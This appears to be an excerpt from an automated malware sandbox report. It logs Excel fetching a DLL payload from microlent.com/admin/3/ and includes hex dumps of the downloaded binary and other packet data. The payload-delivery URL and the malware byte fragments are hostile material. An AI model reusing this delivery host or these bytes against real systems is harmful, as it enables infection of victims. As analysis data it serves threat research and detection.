May 23, 2022 09:56:45.079356909 CEST	646	IN	Data Raw: 89 4c 24 08 48 83 ec 48 83 7c 24 58 01 0f 85 ad 00 00 00 e8 9e 54 00 00 85 c0 75 07 33 c0 e9 a9 01 00 00 e8 5e 09 00 00 85 c0 75 0c e8 f5 54 00 00 33 c0 e9 94 01 00 00 e8 f9 53 00 00 ff 15 6b ec 01 00 48 89 05 9c b3 02 00 e8 77 52 00 00 48 89 05 Data Ascii: L$HH\|$XTu3^uT3SkHwRH;B}T3\!L\|I\|3;tHT3)Y;sk\|$XuY=X~DPH=]u<eH`
May 23, 2022 09:56:45.079374075 CEST	647	IN	Data Raw: 00 00 48 89 44 24 38 48 8b 84 24 c0 00 00 00 48 89 44 24 40 48 8b 84 24 c8 00 00 00 8b 40 48 89 44 24 30 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 88 00 00 00 8b 00 39 44 24 30 0f 83 b6 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 Data Ascii: HD$8H$HD$@H$@HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|uD$H3D$0HkH$DHD$xHD$pH$HL$8T$pD$H\|$
May 23, 2022 09:56:45.079385996 CEST	648	IN	Data Raw: 00 ff ff ff ff e8 88 52 00 00 48 83 c4 28 c3 cc cc cc 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d 96 f7 01 00 48 89 88 a0 00 00 00 48 8b 44 24 30 c7 40 10 00 00 00 00 48 8b 44 24 30 c7 40 1c 01 00 00 00 48 8b 44 24 30 c7 80 Data Ascii: RH(HT$HL$H(HD$0HHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/THD$0HL$8HHD$0HuHD$0H"xHHD$0H

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	103.195.4.8	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-05-23 07:56:38 UTC	0	OUT	GET /admin/3/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: microlent.com Connection: Keep-Alive
2022-05-23 07:56:38 UTC	0	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: application/x-msdownload Expires: Mon, 23 May 2022 07:56:38 GMT Last-Modified: Mon, 23 May 2022 07:56:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: 628b3e36b6ff2=1653292598; expires=Mon, 23-May-2022 07:57:38 GMT; Max-Age=60; path=/ Content-Disposition: attachment; filename="Cmk1Nr.dll" Content-Transfer-Encoding: binary X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Mon, 23 May 2022 07:56:38 GMT Connection: close Content-Length: 365056
2022-05-23 07:56:38 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b"
2022-05-23 07:56:38 UTC	16	IN	Data Raw: 75 1c 83 7c 24 30 00 74 15 e8 4c 61 00 00 48 85 c0 74 0b e8 42 61 00 00 8b 4c 24 30 89 08 48 8b 44 24 38 48 83 c4 48 c3 cc cc 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 48 b9 04 00 00 00 e8 de 48 00 00 90 c7 44 24 28 01 00 00 00 8b 44 24 70 89 44 24 20 4c 8b 4c 24 68 44 8b 44 24 60 48 8d 54 24 58 48 8b 4c 24 50 e8 24 00 00 00 48 89 44 24 30 b9 04 00 00 00 e8 05 49 00 00 48 8b 44 24 30 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 81 ec 88 00 00 00 c7 44 24 48 00 00 00 00 48 8b 84 24 98 00 00 00 48 8b 00 48 89 44 24 40 48 83 bc 24 90 00 00 00 00 75 26 44 8b 8c 24 b0 00 00 00 4c 8b 84 24 a8 00 00 00 8b 94 24 a0 00 00 00 48 8b 4c 24 40 e8 c1 f7 ff ff e9 52 08 00 00 83 Data Ascii: u\|$0tLaHtBaL$0HD$8HHLL$ DD$HT$HL$HHHD$(D$pD$ LL$hDD$`HT$XHL$P$HD$0IHD$0HHLL$ DD$HT$HL$HD$HH$HHD$@H$u&D$L$$HL$@R
2022-05-23 07:56:38 UTC	32	IN	Data Raw: 00 48 39 44 24 28 75 0f 48 b8 33 a2 df 2d 99 2b 00 00 48 89 44 24 28 48 8b 44 24 28 48 89 05 1f 26 02 00 48 8b 44 24 28 48 f7 d0 48 89 05 18 26 02 00 48 83 c4 48 c3 cc cc cc 48 89 54 24 10 89 4c 24 08 48 83 ec 28 81 7c 24 30 63 73 6d e0 75 12 48 8b 54 24 38 8b 4c 24 30 e8 0b 00 00 00 eb 04 eb 02 33 c0 48 83 c4 28 c3 48 89 54 24 10 89 4c 24 08 48 83 ec 58 e8 de b4 ff ff 48 89 44 24 28 48 83 7c 24 28 00 75 07 33 c0 e9 73 02 00 00 48 8b 44 24 28 48 8b 90 a0 00 00 00 8b 4c 24 60 e8 65 02 00 00 48 89 44 24 20 48 83 7c 24 20 00 75 0b 48 c7 44 24 40 00 00 00 00 eb 0e 48 8b 44 24 20 48 8b 40 08 48 89 44 24 40 48 83 7c 24 40 00 75 07 33 c0 e9 29 02 00 00 48 83 7c 24 40 05 75 17 48 8b 44 24 20 48 c7 40 08 00 00 00 00 b8 01 00 00 00 e9 0a 02 00 00 48 83 7c 24 40 01 Data Ascii: H9D$(uH3-+HD$(HD$(H&HD$(HH&HHHT$L$H(\|$0csmuHT$8L$03H(HT$L$HXHD$(H\|$(u3sHD$(HL$`eHD$ H\|$ uHD$@HD$ H@HD$@H\|$@u3)H\|$@uHD$ H@H\|$@
2022-05-23 07:56:39 UTC	48	IN	Data Raw: 48 89 05 8b 1d 02 00 48 83 7c 24 30 00 75 07 b8 18 00 00 00 eb 0e 48 8b 44 24 30 48 c7 00 00 00 00 00 33 c0 48 83 c4 48 c3 cc 48 83 ec 38 c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 48 63 44 24 20 48 83 f8 0a 73 28 48 63 44 24 20 48 8d 0d c1 f3 01 00 48 8b 0c c1 ff 15 6f 56 01 00 48 63 4c 24 20 48 8d 15 ab f3 01 00 48 89 04 ca eb c3 48 83 c4 38 c3 48 83 ec 28 b9 03 00 00 00 e8 22 62 00 00 83 f8 01 74 17 b9 03 00 00 00 e8 13 62 00 00 85 c0 75 1d 83 3d 70 f9 01 00 01 75 14 b9 fc 00 00 00 e8 7c 00 00 00 b9 ff 00 00 00 e8 72 00 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 18 c7 04 24 00 00 00 00 eb 08 8b 04 24 ff c0 89 04 24 48 63 04 24 48 83 f8 16 73 30 48 63 04 24 48 6b c0 10 48 8d 0d 9e 85 01 00 8b 04 01 Data Ascii: HH\|$0uHD$0H3HHH8D$ D$ D$ HcD$ Hs(HcD$ HHoVHcL$ HHH8H("btbu=pu\|rH(L$H$$$Hc$Hs0Hc$HkH
2022-05-23 07:56:39 UTC	64	IN	Data Raw: 00 00 e8 13 0c 00 00 48 63 8c 24 10 81 00 00 48 8d 15 24 b5 01 00 48 89 94 24 d8 80 00 00 48 c7 44 24 20 00 00 00 00 4c 8d 8c 24 a4 70 00 00 44 8b c0 48 8d 94 24 60 10 00 00 48 8b 84 24 d8 80 00 00 48 8b 0c c8 ff 15 fe 17 01 00 85 c0 74 05 e9 53 01 00 00 ff 15 9f 16 01 00 83 f8 06 74 05 e9 43 01 00 00 48 c7 84 24 b0 80 00 00 00 00 00 00 48 c7 44 24 20 ff ff ff ff 4c 8d 8c 24 60 10 00 00 41 b8 00 10 00 00 48 8d 94 24 b0 70 00 00 48 8d 8c 24 b0 80 00 00 e8 8d 78 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 7b 02 00 00 48 8d 0d 15 57 01 00 48 89 4c 24 28 48 8d 0d 09 63 01 00 48 89 4c 24 20 4c 8d 0d ed 5c 01 00 41 b8 22 00 00 00 ba 16 00 00 00 8b c8 e8 eb 63 ff ff 89 84 24 b8 80 00 00 83 bc 24 b8 80 00 00 00 74 60 83 bc 24 b8 80 00 00 50 74 56 48 8d 8c 24 60 Data Ascii: Hc$H$H$HD$ L$pDH$`H$HtStCH$HD$ L$`AH$pH$xHD$8D$0{HWHL$(HcHL$ L\A"c$$t`$PtVH$`
2022-05-23 07:56:39 UTC	80	IN	Data Raw: 00 00 81 38 52 43 43 e0 74 53 48 8b 84 24 e8 00 00 00 48 89 44 24 30 8b 84 24 e0 00 00 00 89 44 24 28 48 8b 84 24 d0 00 00 00 48 89 44 24 20 4c 8b 8c 24 c8 00 00 00 4c 8b 84 24 c0 00 00 00 48 8b 94 24 b8 00 00 00 48 8b 8c 24 b0 00 00 00 e8 86 9f ff ff 85 c0 74 05 e9 93 02 00 00 48 8b 84 24 d0 00 00 00 83 78 0c 00 74 02 eb 05 e8 38 85 ff ff 48 8b 84 24 c8 00 00 00 48 89 44 24 30 48 8d 44 24 6c 48 89 44 24 28 48 8d 44 24 68 48 89 44 24 20 44 8b 8c 24 d8 00 00 00 44 8b 84 24 e0 00 00 00 48 8b 94 24 d0 00 00 00 48 8b 8c 24 b8 00 00 00 e8 a2 9f ff ff 48 89 44 24 60 eb 18 8b 44 24 68 ff c0 89 44 24 68 48 8b 44 24 60 48 83 c0 14 48 89 44 24 60 8b 44 24 6c 39 44 24 68 0f 83 0b 02 00 00 48 8b 44 24 60 8b 00 39 84 24 d8 00 00 00 0f 8c 5c 01 00 00 48 8b 44 24 60 8b Data Ascii: 8RCCtSH$HD$0$D$(H$HD$ L$L$H$H$tH$xt8H$HD$0HD$lHD$(HD$hHD$ D$D$H$H$HD$`D$hD$hHD$`HHD$`D$l9D$hHD$`9$\HD$`
2022-05-23 07:56:39 UTC	96	IN	Data Raw: e8 75 f9 ff ff 89 44 24 30 33 c0 48 8b 8c 24 90 00 00 00 48 8b 94 24 98 00 00 00 66 89 44 51 fe 83 7c 24 30 fe 75 2a 48 83 bc 24 a0 00 00 00 ff 75 1f e8 23 21 ff ff 83 38 22 75 0b e8 19 21 ff ff 8b 4c 24 34 89 08 b8 ff ff ff ff e9 00 02 00 00 83 7c 24 30 00 0f 8d 33 01 00 00 33 c0 48 8b 8c 24 90 00 00 00 66 89 01 48 83 bc 24 98 00 00 00 ff 74 6c 48 81 bc 24 98 00 00 00 ff ff ff 7f 74 5e 48 83 bc 24 98 00 00 00 01 76 53 48 8b 84 24 98 00 00 00 48 ff c8 48 39 05 cb 25 01 00 73 0e 48 8b 05 c2 25 01 00 48 89 44 24 58 eb 10 48 8b 84 24 98 00 00 00 48 ff c8 48 89 44 24 58 48 8b 44 24 58 48 d1 e0 48 8b 8c 24 90 00 00 00 48 83 c1 02 4c 8b c0 ba fe 00 00 00 e8 fa a7 fe ff 83 7c 24 30 fe 0f 85 9a 00 00 00 33 c0 85 c0 74 0a c7 44 24 60 01 00 00 00 eb 08 c7 44 24 60 Data Ascii: uD$03H$H$fDQ\|$0u*H$u#!8"u!L$4\|$033H$fH$tlH$t^H$vSH$HH9%sH%HD$XH$HHD$XHD$XHH$HL\|$03tD$`D$`
2022-05-23 07:56:39 UTC	112	IN	Data Raw: 24 af 02 00 00 48 2b 44 24 40 89 44 24 68 48 8b 44 24 40 48 ff c0 48 89 44 24 40 8b 44 24 50 25 00 02 00 00 85 c0 74 33 83 7c 24 68 00 74 0d 48 8b 44 24 40 0f be 00 83 f8 30 74 1f 48 8b 44 24 40 48 ff c8 48 89 44 24 40 48 8b 44 24 40 c6 00 30 8b 44 24 68 ff c0 89 44 24 68 83 7c 24 6c 00 0f 85 32 02 00 00 8b 44 24 50 83 e0 40 85 c0 74 4e 8b 44 24 50 25 00 01 00 00 85 c0 74 0f c6 44 24 54 2d c7 44 24 5c 01 00 00 00 eb 32 8b 44 24 50 83 e0 01 85 c0 74 0f c6 44 24 54 2b c7 44 24 5c 01 00 00 00 eb 18 8b 44 24 50 83 e0 02 85 c0 74 0d c6 44 24 54 20 c7 44 24 5c 01 00 00 00 8b 44 24 68 8b 4c 24 58 2b c8 8b c1 2b 44 24 5c 89 84 24 48 03 00 00 8b 44 24 50 83 e0 0c 85 c0 75 1e 4c 8d 8c 24 b0 02 00 00 4c 8b 84 24 40 04 00 00 8b 94 24 48 03 00 00 b1 20 e8 3b 04 00 00 Data Ascii: $H+D$@D$hHD$@HHD$@D$P%t3\|$htHD$@0tHD$@HHD$@HD$@0D$hD$h\|$l2D$P@tND$P%tD$T-D$\2D$PtD$T+D$\D$PtD$T D$\D$hL$X++D$\$HD$PuL$L$@$H ;
2022-05-23 07:56:39 UTC	128	IN	Data Raw: ff ff ff ff 33 c0 85 c0 75 2e 48 8d 05 f9 74 00 00 48 89 44 24 20 45 33 c9 41 b8 45 00 00 00 48 8d 15 64 80 00 00 b9 02 00 00 00 e8 aa a9 fe ff 83 f8 01 75 03 cc 33 c0 8b 4c 24 60 e8 a9 f1 ff ff 8b 44 24 30 48 83 c4 58 c3 89 4c 24 08 48 83 ec 58 48 63 44 24 60 48 83 f8 fe 75 20 e8 28 a1 fe ff c7 00 00 00 00 00 e8 ed a0 fe ff c7 00 09 00 00 00 b8 ff ff ff ff e9 1a 02 00 00 83 7c 24 60 00 7c 16 8b 05 e4 da 00 00 39 44 24 60 73 0a c7 44 24 3c 01 00 00 00 eb 08 c7 44 24 3c 00 00 00 00 8b 44 24 3c 89 44 24 34 83 7c 24 34 00 75 2e 48 8d 05 a2 75 00 00 48 89 44 24 20 45 33 c9 41 b8 2e 00 00 00 48 8d 15 ed 89 00 00 b9 02 00 00 00 e8 03 a9 fe ff 83 f8 01 75 03 cc 33 c0 83 7c 24 34 00 75 49 e8 9f a0 fe ff c7 00 00 00 00 00 e8 64 a0 fe ff c7 00 09 00 00 00 48 c7 44 Data Ascii: 3u.HtHD$ E3AEHdu3L$`D$0HXL$HXHcD$`Hu (\|$`\|9D$`sD$<D$<D$<D$4\|$4u.HuHD$ E3A.Hu3\|$4uIdHD
2022-05-23 07:56:39 UTC	144	IN	Data Raw: 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 77 00 69 00 6e 00 73 00 69 00 67 00 2e 00 63 00 00 00 00 00 00 00 00 00 28 00 22 00 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 73 00 69 00 67 00 6e 00 61 00 6c 00 20 00 6f 00 72 00 20 00 65 00 72 00 72 00 6f 00 72 00 22 00 2c 00 20 00 30 00 29 00 00 00 00 00 72 00 61 00 69 00 73 00 65 00 00 00 00 00 00 00 28 00 4c 00 22 00 42 00 75 00 66 00 66 00 65 00 72 00 20 00 69 00 73 00 20 00 74 00 6f 00 6f 00 20 00 73 00 6d 00 61 00 6c 00 6c 00 22 00 20 00 26 00 26 00 20 00 30 00 29 00 00 00 00 00 00 00 42 00 75 00 66 00 66 00 65 00 72 00 20 00 69 00 73 00 20 00 74 00 6f 00 6f 00 20 00 73 00 6d 00 61 00 6c 00 6c Data Ascii: ld\self_64_amd64\crt\src\winsig.c("Invalid signal or error", 0)raise(L"Buffer is too small" && 0)Buffer is too small
2022-05-23 07:56:39 UTC	160	IN	Data Raw: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bf 02 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 b8 95 02 00 00 00 00 00 00 00 00 00 00 00 00 00 78 bf 02 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 38 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 50 96 02 00 00 00 00 00 00 00 00 00 10 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 70 c3 02 00 88 96 02 00 60 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 a0 96 02 00 00 00 00 00 00 00 00 00 b0 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 70 c3 02 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 88 96 02 00 00 00 00 00 00 00 00 00 00 Data Ascii: P@x@8Pp`p@
2022-05-23 07:56:39 UTC	176	IN	Data Raw: 3a 7c 55 25 2f fb 86 43 0a e9 ed 3e d4 9c df 52 d1 64 64 23 04 34 1d bd 60 71 09 0a 56 65 00 89 75 4f 5e 9a 39 31 4d f6 32 42 70 a4 33 3a 69 10 53 fa 04 6e 4c 78 10 ef 1e 75 5c b4 32 67 05 34 81 66 58 c4 06 43 48 2a e3 04 6d bf 32 7b 55 7f 1e 66 55 20 e0 e3 a7 a9 7a 24 55 7d e0 b7 aa 8c 4e 31 6b 26 5d 89 71 4e e9 9d 25 05 af 17 7d 20 d5 00 23 22 29 a0 a3 00 69 ed 5b d4 35 86 43 35 35 e1 b7 3e 66 ba df 78 ca 63 43 23 b5 94 a0 6a 37 35 79 66 74 0d 5c ad 54 7e 6d 54 25 51 63 eb c2 4c 78 50 bb 2c 99 7d c6 71 72 2a 43 e4 12 42 aa 2a e8 63 e4 76 4c 70 62 e5 9e 71 33 f6 36 10 7d f2 86 26 11 ce aa 8f d6 86 62 43 51 f4 ff 1b 41 07 7d b7 60 9d d6 65 65 e6 3e 00 7d 46 44 26 68 c7 0a 15 47 24 1d 45 3c 05 b4 b6 13 25 e3 1b 5d 4d a6 cb 0e 6f 6b d0 26 0d a6 97 da 28 11 Data Ascii: :\|U%/C>Rdd#4`qVeuO^91M2Bp3:iSnLxu\2g4fXCHm2{UfU z$U}N1k&]qN%} #")i[5C55>fxcC#j75yft\T~mT%QcLxP,}qrCB*cvLpbq36}&bCQA}`ee>}FD&hG$E<%]Mok&(
2022-05-23 07:56:39 UTC	192	IN	Data Raw: f4 07 ad 27 67 52 db 00 aa 65 bc 79 18 55 25 e0 a5 92 c0 3b af 97 12 a1 fa 81 03 84 f0 82 6c d7 04 18 7d f0 12 42 70 2c de 0d 4d 68 3c 33 85 2b e3 04 0e 56 d3 1d 48 05 fd 17 11 49 e1 2a 7c 05 41 b6 39 e3 73 84 26 10 46 91 a3 c6 35 fd 09 40 5b 6c ee 6d 5e 14 a2 d8 40 e1 b9 e9 4d fb aa 83 58 c1 70 69 01 f7 22 64 14 24 b2 96 a7 d1 5f 4b 1a b3 50 d1 99 d1 15 48 05 ff 07 11 41 e1 2a 7c 0d f9 63 5c 59 ab 02 eb 3d b1 1b 41 07 8d 7d 46 64 ea 2b 41 11 a5 61 78 ca ea 5f 4c 30 dd a7 40 99 d5 0c 18 7d b8 32 42 70 6c dc bd 41 9b 18 a8 83 72 e3 cc 0e ee 5a 51 6c 71 fd d7 11 f1 6a 66 58 08 f9 bf f1 2e 47 6b 26 bd 22 7b 45 df 9d 90 64 64 ac 23 41 19 a6 a4 57 39 ac 6f 4c 3c 18 74 64 6a 99 0c 18 0d 9b e6 6b 40 e3 1b 5d 59 65 11 54 6f 92 ef 29 32 e0 1b da a6 b4 3a 67 05 93 Data Ascii: 'gReyU%;l}Bp,Mh<3+VHI\|A9s&F5@[lm^@MXpi"d$_KPHA\|c\Y=A}Fd+Aax_L0@}2BplArZQlqjfX.Gk&"{Edd#AW9oL<tdjk@]YeTo)2:g
2022-05-23 07:56:39 UTC	208	IN	Data Raw: 5f c9 f7 76 d4 28 38 c2 dd a4 8e 6d ee 30 2e fb 51 5a a3 dc 22 68 c7 0b 36 4d 5b 56 48 bd 00 36 8f 6b 8b 08 de 0c 6e d5 19 3e 1b ab 1d 4f 80 56 8d 09 ab 70 89 72 01 41 6a 0d 1d ba 3b ee 3d 95 e2 06 9d b8 d9 5f 65 f6 50 c3 75 e5 1e 98 c7 cf f7 b5 92 7c 7c c0 2b a9 4e b0 2e 7d 68 94 c3 b2 b0 03 71 2c 71 fa 79 ae 1d 43 2b 7e e8 68 c9 5f 75 81 e6 7e bc f7 36 26 7a c6 b0 d1 82 37 64 13 1e 14 43 a3 51 75 5d e4 7a 36 04 dc 88 a5 e6 10 22 ee 4f a1 f6 e0 6e 6b 89 0a 15 0b 22 d3 0d 13 05 b8 32 42 18 af 1a 72 e0 1c 74 63 e4 6c 60 c1 6e 42 1a da 29 26 ff 07 11 41 22 ed 5e 0d fb 23 5c 42 e8 06 75 70 fd 1a 9a 7b be 31 27 5a 69 67 ee 74 7d af 18 36 26 a0 21 40 c7 75 4f 4a b6 37 54 4c 31 b1 23 4f e5 90 ae 69 e2 51 2b 6f 2a e9 0d 25 9d cd ae 93 b4 03 4c 89 16 bd 66 d3 08 Data Ascii: _v(8m0.QZ"h6M[VH6kn>OVprAj;=_ePu\|\|+N.}hq,qyC+~h_u~6&z7dCQu]z6"Onk"2Brtcl`nB)&A"^#\Bup{1'Zigt}6&!@uOJ7TL1#OiQ+o*%Lf
2022-05-23 07:56:39 UTC	224	IN	Data Raw: 7a 7e b4 35 fb 20 a3 d2 b2 96 21 fb 51 92 d6 cf 5c e9 c1 2b f6 61 eb 1b 8f de 49 ce 89 e7 35 e3 ae ea a8 49 97 6e bc 79 aa 20 2a ed 17 82 9b d4 ce 66 7c e3 4e a7 b2 41 fb 32 ab eb 26 90 ae b9 76 5f e4 42 e6 c0 ab 4a e0 e6 10 f2 1d 83 72 b2 ac 6e b3 27 50 13 6b ab 33 93 39 cc 44 ad 6c 8e 5d bb b8 0c 83 53 aa 1a f1 3a 65 e7 45 9d 14 bb d9 e0 b8 35 b0 0f b1 5a c4 3f b0 0d 6f 32 45 e9 79 a1 a8 84 1c ff ed 8c 67 a1 2e ee f6 bb cd 57 b0 26 fc e9 75 99 8e 3d 4d 5f 8f 79 86 47 d0 1a 40 a5 12 b2 26 93 2a 83 ee 6f a3 d8 31 66 5a d0 19 fe 73 60 4e d9 e1 23 97 cc 36 43 20 e1 26 a0 eb 70 52 17 ee 72 fe b5 21 40 2b ec 20 f6 f3 60 71 01 e0 6e b3 89 0a 15 5b 65 e9 0d 7b 2b b8 32 42 68 af 1a aa 2d d3 1d ec e6 6e 4c 68 c2 be c8 51 6c 79 fd a3 7d 86 b2 7d 83 c4 91 79 9c 93 Data Ascii: z~5 !Q\+aI5Iny f\|NA2&v_BJrn'Pk39Dl]S:eE5Z?o2Eyg.W&u=M_yG@&o1fZs`N#6C &pRr!@+ `qn[e{+2Bh-nLhQly}}y
2022-05-23 07:56:39 UTC	240	IN	Data Raw: 3c 65 6f ea ea b5 21 7a 24 6f f3 f7 64 e9 b5 9e 31 6b 6a 25 96 a0 02 ba f3 b6 40 24 5f 38 e2 86 d9 6e 8b c3 d8 a6 d5 99 9d d4 b4 35 76 43 5b 95 1a 66 e0 7c f3 74 40 eb e6 9b 62 34 76 3c 68 c8 ca bd d0 bc 6b 67 65 fe f5 1d a7 b8 de f3 68 00 4e 67 34 30 ac 8f b9 9d 31 76 66 53 8f 04 79 e2 d5 80 2b 6f 2a 9f a9 01 ac e2 4e e9 de 27 92 dc 72 a0 a7 b1 43 fb ea a8 6a 63 43 e3 b9 a6 5f 65 37 f3 1a 40 11 e0 ea b5 21 7a 24 a2 d8 aa c1 6c b8 87 73 7d d8 d7 dd ec 4d 31 76 e7 f5 f4 5f 79 69 f7 44 74 6d ed ed a0 2a 66 5a f4 01 65 76 c8 b8 99 6a 66 58 b2 93 df 37 86 a7 0d a3 de 73 d6 f0 df 35 3c 65 e5 de 8f 65 21 7a 63 02 31 6b ec ed e0 4e 31 6b c2 d0 b9 3c c6 bc 96 66 40 24 a8 98 21 d5 15 73 ae c0 6b 00 a3 22 7e 71 e5 a0 96 43 35 71 eb d3 b8 45 72 67 83 4d 68 43 26 bf Data Ascii: <eo!z$od1kj%@$_8n5vC[f\|t@b4v<hkgehNg401vfSy+oN'rCjcC_e7@!z$ls}M1v_yiDtmfZevjfX7s5<ee!zc1kN1k<f@$!sk"~qC5qErgMhC&
2022-05-23 07:56:39 UTC	256	IN	Data Raw: e6 20 39 1f af 55 39 ea 5e 70 9e 61 4d 6d e1 1b 50 b5 08 dd b1 23 58 f6 6e bf 69 d3 1d 33 2e a1 a8 bf cb a7 b0 57 e5 60 6e c2 78 69 c2 09 0b aa f3 22 60 33 64 bc 9d b5 03 47 3d 0a de 83 ee 21 73 ee 20 c9 bd 61 7d 20 da fe 68 c1 23 19 6e ab 3b 60 2c cc 44 5e 65 40 ac f2 be 2c 40 10 a1 0f 2a a9 2d 32 6f 31 14 74 4c ff 06 2d fa 27 7e e0 08 e3 a8 c2 9d 82 68 a8 75 fd 9f b4 de 36 f6 a4 8d 6e ee 28 39 fb 51 4d 0c 00 e6 69 c7 0b 11 8a 75 6c 48 bd 00 11 06 cf e5 41 de 3c 49 62 02 2b 6f ab 1d 68 6f bd 3e 16 ab 70 92 c9 3e 33 6a e7 15 a1 39 18 1a b5 a2 2e 86 39 f7 2a 81 3d 20 3f 65 a3 2e 87 73 11 7b 24 de 74 8b dc 89 c1 a4 37 e2 3f be c9 49 ad 58 a2 06 6d a5 2a 99 1f 01 31 06 a8 6f 78 45 3a 95 5a d0 19 25 e1 0e 39 ae bb 0b 48 84 17 77 72 eb 16 53 45 71 c8 a1 ee 72 Data Ascii: 9U9^paMmP#Xni3.W`nxi"`3dG=!s a} h#n;`,D^e@,@-2o1tL-'~hu6n(9QMiulHA<Ib+oho>p>3j9.9= ?e.s{$t7?IXm*1oxE:Z%9HwrSEqr
2022-05-23 07:56:39 UTC	272	IN	Data Raw: a7 31 1d 2b 2b 5b d2 06 b8 07 4e 66 00 b5 31 15 46 22 cd 6e 5c 3d e4 1a 60 62 e4 e4 e1 3c 0e 4e 12 d8 30 11 56 bc e5 3d e7 fa 7c e5 72 67 78 23 e8 18 42 7d fd 34 55 7e be df 24 3a 34 39 a6 ed b6 e8 dc 75 4f 23 3d 53 18 66 2a 3c 16 c5 50 69 f8 3e e7 ac e4 5f 79 69 9f 15 44 9a 82 6d 48 ed 23 29 05 9f 32 76 06 06 87 22 ed 2d 2a cd 46 85 64 63 c2 9d 50 50 5e 65 38 b1 d5 65 64 6b e6 9a aa e3 25 55 36 ef 1f 6b 00 4e b0 94 da 98 4d 3c 42 b5 df 66 40 24 de 86 9e 5d 5b 2b 1b 39 e9 b7 0b 9b 54 51 63 b0 75 40 35 71 d5 d6 9e 40 72 8c b9 ad 26 34 ed d4 c3 5f 2d be 41 18 45 e5 2e 10 07 b4 85 db d4 7c 1c 7f 78 00 4e b0 1e 1d 36 b1 8e 4d f6 33 09 21 12 7f 79 02 1d 3f 77 e6 6f 07 23 6f 09 36 d8 29 5a ce 88 5e 59 c5 e7 2d 2a 0a c6 4d 88 a4 06 05 b1 d1 b8 65 b6 40 5b 63 f3 Data Ascii: 1++[Nf1F"n\=`b<N0V=\|rgx#B}4U~$:49uO#=Sf<Pi>_yiDmH#)2v"-FdcPP^e8edk%U6kNM<Bf@$][+9TQcu@5q@r&4_-AE.\|xN6M3!y?wo#o6)Z^Y-*Me@[c
